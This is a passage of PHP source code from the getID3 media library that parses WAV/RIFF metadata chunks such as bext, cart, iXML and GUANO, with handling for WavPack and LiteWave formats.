					$thisfile_riff_WAVE = &$thisfile_riff['WAVE'];
				}
				break;

			default:
				$this->error('Cannot parse RIFF (this is maybe not a RIFF / WAV / AVI file?) - expecting "FORM|RIFF|SDSS|RMP3" found "'.$RIFFsubtype.'" instead');
				//unset($info['fileformat']);
				return false;
		}

		$streamindex = 0;
		switch ($RIFFsubtype) {

			// http://en.wikipedia.org/wiki/Wav
			case 'WAVE':
				$info['fileformat'] = 'wav';

				if (empty($thisfile_audio['bitrate_mode'])) {
					$thisfile_audio['bitrate_mode'] = 'cbr';
				}
				if (empty($thisfile_audio_dataformat)) {
					$thisfile_audio_dataformat = 'wav';
				}

				if (isset($thisfile_riff_WAVE['data'][0]['offset'])) {
					$info['avdataoffset'] = $thisfile_riff_WAVE['data'][0]['offset'] + 8;
					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff_WAVE['data'][0]['size'];
				}
				if (isset($thisfile_riff_WAVE['fmt '][0]['data'])) {

					$thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($thisfile_riff_WAVE['fmt '][0]['data']);
					$thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag'];
					if (!isset($thisfile_riff_audio[$streamindex]['bitrate']) || ($thisfile_riff_audio[$streamindex]['bitrate'] == 0)) {
						$this->error('Corrupt RIFF file: bitrate_audio == zero');
						return false;
					}
					$thisfile_riff_raw['fmt '] = $thisfile_riff_audio[$streamindex]['raw'];
					unset($thisfile_riff_audio[$streamindex]['raw']);
					$thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex];

					$thisfile_audio = (array) getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]);
					if (substr($thisfile_audio['codec'], 0, strlen('unknown: 0x')) == 'unknown: 0x') {
						$this->warning('Audio codec = '.$thisfile_audio['codec']);
					}
					$thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate'];

					if (empty($info['playtime_seconds'])) { // may already be set (e.g. DTS-WAV)
						$info['playtime_seconds'] =  (float)getid3_lib::SafeDiv(($info['avdataend'] - $info['avdataoffset']) * 8, $thisfile_audio['bitrate']);
					}

					$thisfile_audio['lossless'] = false;
					if (isset($thisfile_riff_WAVE['data'][0]['offset']) && isset($thisfile_riff_raw['fmt ']['wFormatTag'])) {
						switch ($thisfile_riff_raw['fmt ']['wFormatTag']) {

							case 0x0001:  // PCM
								$thisfile_audio['lossless'] = true;
								break;

							case 0x2000:  // AC-3
								$thisfile_audio_dataformat = 'ac3';
								break;

							default:
								// do nothing
								break;

						}
					}
					$thisfile_audio['streams'][$streamindex]['wformattag']   = $thisfile_audio['wformattag'];
					$thisfile_audio['streams'][$streamindex]['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
					$thisfile_audio['streams'][$streamindex]['lossless']     = $thisfile_audio['lossless'];
					$thisfile_audio['streams'][$streamindex]['dataformat']   = $thisfile_audio_dataformat;
				}

				if (isset($thisfile_riff_WAVE['rgad'][0]['data'])) {

					// shortcuts
					$rgadData = &$thisfile_riff_WAVE['rgad'][0]['data'];
					$thisfile_riff_raw['rgad']    = array('track'=>array(), 'album'=>array());
					$thisfile_riff_raw_rgad       = &$thisfile_riff_raw['rgad'];
					$thisfile_riff_raw_rgad_track = &$thisfile_riff_raw_rgad['track'];
					$thisfile_riff_raw_rgad_album = &$thisfile_riff_raw_rgad['album'];

					$thisfile_riff_raw_rgad['fPeakAmplitude']      = getid3_lib::LittleEndian2Float(substr($rgadData, 0, 4));
					$thisfile_riff_raw_rgad['nRadioRgAdjust']      =        $this->EitherEndian2Int(substr($rgadData, 4, 2));
					$thisfile_riff_raw_rgad['nAudiophileRgAdjust'] =        $this->EitherEndian2Int(substr($rgadData, 6, 2));

					$nRadioRgAdjustBitstring      = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nRadioRgAdjust']), 16, '0', STR_PAD_LEFT);
					$nAudiophileRgAdjustBitstring = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nAudiophileRgAdjust']), 16, '0', STR_PAD_LEFT);
					$thisfile_riff_raw_rgad_track['name']       = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 0, 3));
					$thisfile_riff_raw_rgad_track['originator'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 3, 3));
					$thisfile_riff_raw_rgad_track['signbit']    = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 6, 1));
					$thisfile_riff_raw_rgad_track['adjustment'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 7, 9));
					$thisfile_riff_raw_rgad_album['name']       = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 0, 3));
					$thisfile_riff_raw_rgad_album['originator'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 3, 3));
					$thisfile_riff_raw_rgad_album['signbit']    = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 6, 1));
					$thisfile_riff_raw_rgad_album['adjustment'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 7, 9));

					$thisfile_riff['rgad']['peakamplitude'] = $thisfile_riff_raw_rgad['fPeakAmplitude'];
					if (($thisfile_riff_raw_rgad_track['name'] != 0) && ($thisfile_riff_raw_rgad_track['originator'] != 0)) {
						$thisfile_riff['rgad']['track']['name']            = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_track['name']);
						$thisfile_riff['rgad']['track']['originator']      = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_track['originator']);
						$thisfile_riff['rgad']['track']['adjustment']      = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_track['adjustment'], $thisfile_riff_raw_rgad_track['signbit']);
					}
					if (($thisfile_riff_raw_rgad_album['name'] != 0) && ($thisfile_riff_raw_rgad_album['originator'] != 0)) {
						$thisfile_riff['rgad']['album']['name']       = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_album['name']);
						$thisfile_riff['rgad']['album']['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_album['originator']);
						$thisfile_riff['rgad']['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_album['adjustment'], $thisfile_riff_raw_rgad_album['signbit']);
					}
				}

				if (isset($thisfile_riff_WAVE['fact'][0]['data'])) {
					$thisfile_riff_raw['fact']['NumberOfSamples'] = $this->EitherEndian2Int(substr($thisfile_riff_WAVE['fact'][0]['data'], 0, 4));

					// This should be a good way of calculating exact playtime,
					// but some sample files have had incorrect number of samples,
					// so cannot use this method

					// if (!empty($thisfile_riff_raw['fmt ']['nSamplesPerSec'])) {
					//     $info['playtime_seconds'] = (float) $thisfile_riff_raw['fact']['NumberOfSamples'] / $thisfile_riff_raw['fmt ']['nSamplesPerSec'];
					// }
				}
				if (!empty($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'])) {
					$thisfile_audio['bitrate'] = getid3_lib::CastAsInt($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'] * 8);
				}

				if (isset($thisfile_riff_WAVE['bext'][0]['data'])) {
					// shortcut
					$thisfile_riff_WAVE_bext_0 = &$thisfile_riff_WAVE['bext'][0];

					$thisfile_riff_WAVE_bext_0['title']          =                              substr($thisfile_riff_WAVE_bext_0['data'],   0, 256);
					$thisfile_riff_WAVE_bext_0['author']         =                              substr($thisfile_riff_WAVE_bext_0['data'], 256,  32);
					$thisfile_riff_WAVE_bext_0['reference']      =                              substr($thisfile_riff_WAVE_bext_0['data'], 288,  32);
					foreach (array('title','author','reference') as $bext_key) {
						// Some software (notably Logic Pro) may not blank existing data before writing a null-terminated string to the offsets
						// assigned for text fields, resulting in a null-terminated string (or possibly just a single null) followed by garbage
						// Keep only string as far as first null byte, discard rest of fixed-width data
						// https://github.com/JamesHeinrich/getID3/issues/263
						$null_terminator_offset = strpos($thisfile_riff_WAVE_bext_0[$bext_key], "\x00");
						$thisfile_riff_WAVE_bext_0[$bext_key] = substr($thisfile_riff_WAVE_bext_0[$bext_key], 0, $null_terminator_offset);
					}

					$thisfile_riff_WAVE_bext_0['origin_date']    =                              substr($thisfile_riff_WAVE_bext_0['data'], 320,  10);
					$thisfile_riff_WAVE_bext_0['origin_time']    =                              substr($thisfile_riff_WAVE_bext_0['data'], 330,   8);
					$thisfile_riff_WAVE_bext_0['time_reference'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 338,   8));
					$thisfile_riff_WAVE_bext_0['bwf_version']    = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 346,   1));
					$thisfile_riff_WAVE_bext_0['reserved']       =                              substr($thisfile_riff_WAVE_bext_0['data'], 347, 254);
					$thisfile_riff_WAVE_bext_0['coding_history'] =         explode("\r\n", trim(substr($thisfile_riff_WAVE_bext_0['data'], 601)));
					if (preg_match('#^([0-9]{4}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_date'], $matches_bext_date)) {
						if (preg_match('#^([0-9]{2}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_time'], $matches_bext_time)) {
							$bext_timestamp = array();
							list($dummy, $bext_timestamp['year'], $bext_timestamp['month'],  $bext_timestamp['day'])    = $matches_bext_date;
							list($dummy, $bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second']) = $matches_bext_time;
							$thisfile_riff_WAVE_bext_0['origin_date_unix'] = gmmktime($bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second'], $bext_timestamp['month'], $bext_timestamp['day'], $bext_timestamp['year']);
						} else {
							$this->warning('RIFF.WAVE.BEXT.origin_time is invalid');
						}
					} else {
						$this->warning('RIFF.WAVE.BEXT.origin_date is invalid');
					}
					$thisfile_riff['comments']['author'][] = $thisfile_riff_WAVE_bext_0['author'];
					$thisfile_riff['comments']['title'][]  = $thisfile_riff_WAVE_bext_0['title'];
				}

				if (isset($thisfile_riff_WAVE['MEXT'][0]['data'])) {
					// shortcut
					$thisfile_riff_WAVE_MEXT_0 = &$thisfile_riff_WAVE['MEXT'][0];

					$thisfile_riff_WAVE_MEXT_0['raw']['sound_information']      = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 0, 2));
					$thisfile_riff_WAVE_MEXT_0['flags']['homogenous']           = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0001);
					if ($thisfile_riff_WAVE_MEXT_0['flags']['homogenous']) {
						$thisfile_riff_WAVE_MEXT_0['flags']['padding']          = ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0002) ? false : true;
						$thisfile_riff_WAVE_MEXT_0['flags']['22_or_44']         =        (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0004);
						$thisfile_riff_WAVE_MEXT_0['flags']['free_format']      =        (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0008);

						$thisfile_riff_WAVE_MEXT_0['nominal_frame_size']        = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 2, 2));
					}
					$thisfile_riff_WAVE_MEXT_0['anciliary_data_length']         = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 6, 2));
					$thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def']     = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 8, 2));
					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_left']  = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0001);
					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_free']  = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0002);
					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_right'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0004);
				}

				if (isset($thisfile_riff_WAVE['cart'][0]['data'])) {
					// shortcut
					$thisfile_riff_WAVE_cart_0 = &$thisfile_riff_WAVE['cart'][0];

					$thisfile_riff_WAVE_cart_0['version']              =                              substr($thisfile_riff_WAVE_cart_0['data'],   0,  4);
					$thisfile_riff_WAVE_cart_0['title']                =                         trim(substr($thisfile_riff_WAVE_cart_0['data'],   4, 64));
					$thisfile_riff_WAVE_cart_0['artist']               =                         trim(substr($thisfile_riff_WAVE_cart_0['data'],  68, 64));
					$thisfile_riff_WAVE_cart_0['cut_id']               =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 132, 64));
					$thisfile_riff_WAVE_cart_0['client_id']            =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 196, 64));
					$thisfile_riff_WAVE_cart_0['category']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 260, 64));
					$thisfile_riff_WAVE_cart_0['classification']       =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 324, 64));
					$thisfile_riff_WAVE_cart_0['out_cue']              =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 388, 64));
					$thisfile_riff_WAVE_cart_0['start_date']           =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 452, 10));
					$thisfile_riff_WAVE_cart_0['start_time']           =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 462,  8));
					$thisfile_riff_WAVE_cart_0['end_date']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 470, 10));
					$thisfile_riff_WAVE_cart_0['end_time']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 480,  8));
					$thisfile_riff_WAVE_cart_0['producer_app_id']      =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 488, 64));
					$thisfile_riff_WAVE_cart_0['producer_app_version'] =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 552, 64));
					$thisfile_riff_WAVE_cart_0['user_defined_text']    =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 616, 64));
					$thisfile_riff_WAVE_cart_0['zero_db_reference']    = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 680,  4), true);
					for ($i = 0; $i < 8; $i++) {
						$thisfile_riff_WAVE_cart_0['post_time'][$i]['usage_fourcc'] =                  substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8), 4);
						$thisfile_riff_WAVE_cart_0['post_time'][$i]['timer_value']  = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8) + 4, 4));
					}
					$thisfile_riff_WAVE_cart_0['url']              =                 trim(substr($thisfile_riff_WAVE_cart_0['data'],  748, 1024));
					$thisfile_riff_WAVE_cart_0['tag_text']         = explode("\r\n", trim(substr($thisfile_riff_WAVE_cart_0['data'], 1772)));
					$thisfile_riff['comments']['tag_text'][]       =                      substr($thisfile_riff_WAVE_cart_0['data'], 1772);

					$thisfile_riff['comments']['artist'][] = $thisfile_riff_WAVE_cart_0['artist'];
					$thisfile_riff['comments']['title'][]  = $thisfile_riff_WAVE_cart_0['title'];
				}

				if (isset($thisfile_riff_WAVE['SNDM'][0]['data'])) {
					// SoundMiner metadata

					// shortcuts
					$thisfile_riff_WAVE_SNDM_0      = &$thisfile_riff_WAVE['SNDM'][0];
					$thisfile_riff_WAVE_SNDM_0_data = &$thisfile_riff_WAVE_SNDM_0['data'];
					$SNDM_startoffset = 0;
					$SNDM_endoffset   = $thisfile_riff_WAVE_SNDM_0['size'];

					while ($SNDM_startoffset < $SNDM_endoffset) {
						$SNDM_thisTagOffset = 0;
						$SNDM_thisTagSize      = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4));
						$SNDM_thisTagOffset += 4;
						$SNDM_thisTagKey       =                           substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4);
						$SNDM_thisTagOffset += 4;
						$SNDM_thisTagDataSize  = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2));
						$SNDM_thisTagOffset += 2;
						$SNDM_thisTagDataFlags = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2));
						$SNDM_thisTagOffset += 2;
						$SNDM_thisTagDataText =                            substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, $SNDM_thisTagDataSize);
						$SNDM_thisTagOffset += $SNDM_thisTagDataSize;

						if ($SNDM_thisTagSize != (4 + 4 + 2 + 2 + $SNDM_thisTagDataSize)) {
							$this->warning('RIFF.WAVE.SNDM.data contains tag not expected length (expected: '.$SNDM_thisTagSize.', found: '.(4 + 4 + 2 + 2 + $SNDM_thisTagDataSize).') at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')');
							break;
						} elseif ($SNDM_thisTagSize <= 0) {
							$this->warning('RIFF.WAVE.SNDM.data contains zero-size tag at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')');
							break;
						}
						$SNDM_startoffset += $SNDM_thisTagSize;

						$thisfile_riff_WAVE_SNDM_0['parsed_raw'][$SNDM_thisTagKey] = $SNDM_thisTagDataText;
						if ($parsedkey = self::waveSNDMtagLookup($SNDM_thisTagKey)) {
							$thisfile_riff_WAVE_SNDM_0['parsed'][$parsedkey] = $SNDM_thisTagDataText;
						} else {
							$this->warning('RIFF.WAVE.SNDM contains unknown tag "'.$SNDM_thisTagKey.'" at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')');
						}
					}

					$tagmapping = array(
						'tracktitle'=>'title',
						'category'  =>'genre',
						'cdtitle'   =>'album',
					);
					foreach ($tagmapping as $fromkey => $tokey) {
						if (isset($thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey])) {
							$thisfile_riff['comments'][$tokey][] = $thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey];
						}
					}
				}

				if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) {
					// requires functions simplexml_load_string and get_object_vars
					if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) {
						$thisfile_riff_WAVE['iXML'][0]['parsed'] = $parsedXML;
						if (isset($parsedXML['SPEED']['MASTER_SPEED'])) {
							@list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['MASTER_SPEED']);
							$thisfile_riff_WAVE['iXML'][0]['master_speed'] = (int) $numerator / ($denominator ? $denominator : 1000);
						}
						if (isset($parsedXML['SPEED']['TIMECODE_RATE'])) {
							@list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['TIMECODE_RATE']);
							$thisfile_riff_WAVE['iXML'][0]['timecode_rate'] = (int) $numerator / ($denominator ? $denominator : 1000);
						}
						if (isset($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO']) && !empty($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) && !empty($thisfile_riff_WAVE['iXML'][0]['timecode_rate'])) {
							$samples_since_midnight = floatval(ltrim($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_HI'].$parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO'], '0'));
							$timestamp_sample_rate = (is_array($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) ? max($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) : $parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']); // XML could possibly contain more than one TIMESTAMP_SAMPLE_RATE tag, returning as array instead of integer [why? does it make sense? perhaps doesn't matter but getID3 needs to deal with it] - see https://github.com/JamesHeinrich/getID3/issues/105
							$thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] = $samples_since_midnight / $timestamp_sample_rate;
							$h = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds']       / 3600);
							$m = floor(($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600))      / 60);
							$s = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60));
							$f =       ($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60) - $s) * $thisfile_riff_WAVE['iXML'][0]['timecode_rate'];
							$thisfile_riff_WAVE['iXML'][0]['timecode_string']       = sprintf('%02d:%02d:%02d:%05.2f', $h, $m, $s,       $f);
							$thisfile_riff_WAVE['iXML'][0]['timecode_string_round'] = sprintf('%02d:%02d:%02d:%02d',   $h, $m, $s, round($f));
							unset($samples_since_midnight, $timestamp_sample_rate, $h, $m, $s, $f);
						}
						unset($parsedXML);
					}
				}

				if (isset($thisfile_riff_WAVE['guan'][0]['data'])) {
					// shortcut
					$thisfile_riff_WAVE_guan_0 = &$thisfile_riff_WAVE['guan'][0];
					if (!empty($thisfile_riff_WAVE_guan_0['data']) && (substr($thisfile_riff_WAVE_guan_0['data'], 0, 14) == 'GUANO|Version:')) {
						$thisfile_riff['guano'] = array();
						foreach (explode("\n", $thisfile_riff_WAVE_guan_0['data']) as $line) {
							if ($line) {
								@list($key, $value) = explode(':', $line, 2);
								if (substr($value, 0, 3) == '[{"') {
									if ($decoded = @json_decode($value, true)) {
										if (!empty($decoded) && (count($decoded) == 1)) {
											$value = $decoded[0];
										} else {
											$value = $decoded;
										}
									}
								}
								$thisfile_riff['guano'] = array_merge_recursive($thisfile_riff['guano'], getid3_lib::CreateDeepArray($key, '|', $value));
							}
						}

						// https://www.wildlifeacoustics.com/SCHEMA/GUANO.html
						foreach ($thisfile_riff['guano'] as $key => $value) {
							switch ($key) {
								case 'Loc Position':
									if (preg_match('#^([\\+\\-]?[0-9]+\\.[0-9]+) ([\\+\\-]?[0-9]+\\.[0-9]+)$#', $value, $matches)) {
										list($dummy, $latitude, $longitude) = $matches;
										$thisfile_riff['comments']['gps_latitude'][0]  = floatval($latitude);
										$thisfile_riff['comments']['gps_longitude'][0] = floatval($longitude);
										$thisfile_riff['guano'][$key] = floatval($latitude).' '.floatval($longitude);
									}
									break;
								case 'Loc Elevation': // Elevation/altitude above mean sea level in meters
									$thisfile_riff['comments']['gps_altitude'][0] = floatval($value);
									$thisfile_riff['guano'][$key] = (float) $value;
									break;
								case 'Filter HP':        // High-pass filter frequency in kHz
								case 'Filter LP':        // Low-pass filter frequency in kHz
								case 'Humidity':         // Relative humidity as a percentage
								case 'Length':           // Recording length in seconds
								case 'Loc Accuracy':     // Estimated Position Error in meters
								case 'Temperature Ext':  // External temperature in degrees Celsius outside the recorder's housing
								case 'Temperature Int':  // Internal temperature in degrees Celsius inside the recorder's housing
									$thisfile_riff['guano'][$key] = (float) $value;
									break;
								case 'Samplerate':       // Recording sample rate, Hz
								case 'TE':               // Time-expansion factor. If not specified, then 1 (no time-expansion a.k.a. direct-recording) is assumed.
									$thisfile_riff['guano'][$key] = (int) $value;
									break;
							}
						}

					} else {
						$this->warning('RIFF.guan data not in expected format');
					}
				}

				if (!isset($thisfile_audio['bitrate']) && isset($thisfile_riff_audio[$streamindex]['bitrate'])) {
					$thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate'];
					$info['playtime_seconds'] = (float)getid3_lib::SafeDiv((($info['avdataend'] - $info['avdataoffset']) * 8), $thisfile_audio['bitrate']);
				}

				if (!empty($info['wavpack'])) {
					$thisfile_audio_dataformat = 'wavpack';
					$thisfile_audio['bitrate_mode'] = 'vbr';
					$thisfile_audio['encoder']      = 'WavPack v'.$info['wavpack']['version'];

					// Reset to the way it was - RIFF parsing will have messed this up
					$info['avdataend']        = $Original['avdataend'];
					$thisfile_audio['bitrate'] = getid3_lib::SafeDiv(($info['avdataend'] - $info['avdataoffset']) * 8, $info['playtime_seconds']);

					$this->fseek($info['avdataoffset'] - 44);
					$RIFFdata = $this->fread(44);
					$OrignalRIFFheaderSize = getid3_lib::LittleEndian2Int(substr($RIFFdata,  4, 4)) +  8;
					$OrignalRIFFdataSize   = getid3_lib::LittleEndian2Int(substr($RIFFdata, 40, 4)) + 44;

					if ($OrignalRIFFheaderSize > $OrignalRIFFdataSize) {
						$info['avdataend'] -= ($OrignalRIFFheaderSize - $OrignalRIFFdataSize);
						$this->fseek($info['avdataend']);
						$RIFFdata .= $this->fread($OrignalRIFFheaderSize - $OrignalRIFFdataSize);
					}

					// move the data chunk after all other chunks (if any)
					// so that the RIFF parser doesn't see EOF when trying
					// to skip over the data chunk
					$RIFFdata = substr($RIFFdata, 0, 36).substr($RIFFdata, 44).substr($RIFFdata, 36, 8);
					$getid3_riff = new getid3_riff($this->getid3);
					$getid3_riff->ParseRIFFdata($RIFFdata);
					unset($getid3_riff);
				}

				if (isset($thisfile_riff_raw['fmt ']['wFormatTag'])) {
					switch ($thisfile_riff_raw['fmt ']['wFormatTag']) {
						case 0x0001: // PCM
							if (!empty($info['ac3'])) {
								// Dolby Digital WAV files masquerade as PCM-WAV, but they're not
								$thisfile_audio['wformattag']  = 0x2000;
								$thisfile_audio['codec']       = self::wFormatTagLookup($thisfile_audio['wformattag']);
								$thisfile_audio['lossless']    = false;
								$thisfile_audio['bitrate']     = $info['ac3']['bitrate'];
								$thisfile_audio['sample_rate'] = $info['ac3']['sample_rate'];
							}
							if (!empty($info['dts'])) {
								// Dolby DTS files masquerade as PCM-WAV, but they're not
								$thisfile_audio['wformattag']  = 0x2001;
								$thisfile_audio['codec']       = self::wFormatTagLookup($thisfile_audio['wformattag']);
								$thisfile_audio['lossless']    = false;
								$thisfile_audio['bitrate']     = $info['dts']['bitrate'];
								$thisfile_audio['sample_rate'] = $info['dts']['sample_rate'];
							}
							break;
						case 0x08AE: // ClearJump LiteWave
							$thisfile_audio['bitrate_mode'] = 'vbr';
							$thisfile_audio_dataformat   = 'litewave';

							//typedef struct tagSLwFormat {
							//  WORD    m_wCompFormat;     // low byte defines compression method, high byte is compression flags
							//  DWORD   m_dwScale;         // scale factor for lossy compression
							//  DWORD   m_dwBlockSize;     // number of samples in encoded blocks
							//  WORD    m_wQuality;        // alias for the scale factor
							//  WORD    m_wMarkDistance;   // distance between marks in bytes
							//  WORD    m_wReserved;
							//
							//  //following paramters are ignored if CF_FILESRC is not set
							//  DWORD   m_dwOrgSize;       // original file size in bytes
							//  WORD    m_bFactExists;     // indicates if 'fact' chunk exists in the original file
							//  DWORD   m_dwRiffChunkSize; // riff chunk size in the original file
							//
							//  PCMWAVEFORMAT m_OrgWf;     // original wave format
							// }SLwFormat, *PSLwFormat;

							// shortcut
							$thisfile_riff['litewave']['raw'] = array();
							$riff_litewave     = &$thisfile_riff['litewave'];
							$riff_litewave_raw = &$riff_litewave['raw'];

							$flags = array(
								'compression_method' => 1,
								'compression_flags'  => 1,
								'm_dwScale'          => 4,
								'm_dwBlockSize'      => 4,
								'm_wQuality'         => 2,
								'm_wMarkDistance'    => 2,
								'm_wReserved'        => 2,
								'm_dwOrgSize'        => 4,
								'm_bFactExists'      => 2,
								'm_dwRiffChunkSize'  => 4,
							);
							$litewave_offset = 18;
							foreach ($flags as $flag => $length) {
								$riff_litewave_raw[$flag] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE['fmt '][0]['data'], $litewave_offset, $length));
								$litewave_offset += $length;
							}

							//$riff_litewave['quality_factor'] = intval(round((2000 - $riff_litewave_raw['m_dwScale']) / 20));
							$riff_litewave['quality_factor'] = $riff_litewave_raw['m_wQuality'];

							$riff_litewave['flags']['raw_source']    = ($riff_litewave_raw['compression_flags'] & 0x01) ? false : true;
							$riff_litewave['flags']['vbr_blocksize'] = ($riff_litewave_raw['compression_flags'] & 0x02) ? false : true;
							$riff_litewave['flags']['seekpoints']    =        (bool) ($riff_litewave_raw['compression_flags'] & 0x04);

							$thisfile_audio['lossless']        = (($riff_litewave_raw['m_wQuality'] == 100) ? true : false);
							$thisfile_audio['encoder_options'] = '-q'.$riff_litewave['quality_factor'];
							break;

						default:
							break;
					}
				}
				if ($info['avdataend'] > $info['filesize']) {
					switch ($thisfile_audio_dataformat) {
						case 'wavpack': // WavPack
						case 'lpac':    // LPAC
						case 'ofr':     // OptimFROG
						case 'ofs':     // OptimFROG DualStream
							// lossless compressed audio formats that keep original RIFF headers - skip warning
							break;

						case 'litewave':
							if (($info['avdataend'] - $info['filesize']) == 1) {
								// LiteWave appears to incorrectly *not* pad actual output file
								// to nearest WORD boundary so may appear to be short by one
								// byte, in which case - skip warning
							} else {
								// Short by more than one byte, throw warning
								$this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)');
								$info['avdataend'] = $info['filesize'];
							}
							break;

						default:
							if ((($info['avdataend'] - $info['filesize']) == 1) && (($thisfile_riff[$RIFFsubtype]['data'][0]['size'] % 2) == 0) && ((($info['filesize'] - $info['avdataoffset']) % 2) == 1)) {
								// output file appears to be incorrectly *not* padded to nearest WORD boundary
								// Output less severe warning
